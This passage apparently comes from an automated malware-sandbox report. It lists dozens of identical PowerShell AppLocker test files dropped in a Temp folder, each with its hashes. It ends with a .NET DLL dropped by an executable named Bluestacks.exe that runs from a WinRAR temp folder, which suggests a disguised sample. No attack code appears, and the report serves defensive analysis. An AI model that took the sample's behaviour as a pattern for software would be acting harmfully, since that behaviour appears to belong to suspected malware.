                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oir5v3gw.naa.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_omihv2jz.bda.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oqyke3xq.kxu.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pgn5o0u3.m05.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pu3gwd55.w3i.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pyqc3cw1.fx1.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_quqh31zb.3bd.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rnfcncse.xcf.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sa3nydts.h1a.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_setyvzcz.vit.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_sj31uvvq.pz4.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tada5kgg.ulx.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tcyt5e4v.jko.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tunf0cl4.kge.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tv1hhvwe.fdi.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_umdftjsz.qon.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_upmctv1p.3h2.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_v2vrf220.tb0.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vdspqljp.fk5.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vexfnn2e.ifz.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vx4pwoao.qwq.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_vzdgjrop.eea.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wsyt5j2f.org.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xjv0mzzn.k4n.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xpwfqgge.hbi.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xwilxpk3.ba0.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ykvuq5ue.iet.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yv0b51uz.4ya.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zawxzwvw.50o.ps1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zfxm2rua.tsk.psm1

                                                                                            Download File
                                                                                            Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                            File Type:ASCII text, with no line terminators
                                                                                            Category:dropped
                                                                                            Size (bytes):60
                                                                                            Entropy (8bit):4.038920595031593
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                                                            SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                                                            SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                                                            SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                                                            Malicious:false
                                                                                            Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                                                            C:\Users\user\Desktop\BlUGSVrR.log

                                                                                            Download File
                                                                                            Process:C:\Users\user\AppData\Local\Temp\WinRAR\data\bin\unistall\Bluestacks.exe
                                                                                            File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                            Category:dropped
                                                                                            Size (bytes):9728
                                                                                            Entropy (8bit):5.0168086460579095
                                                                                            Encrypted:false
                                                                                            SSDEEP:
                                                                                            MD5:69546E20149FE5633BCBA413DC3DC964
                                                                                            SHA1:29FEB42AB8B563FAFACFD27FAE48D4019A4CBCC2
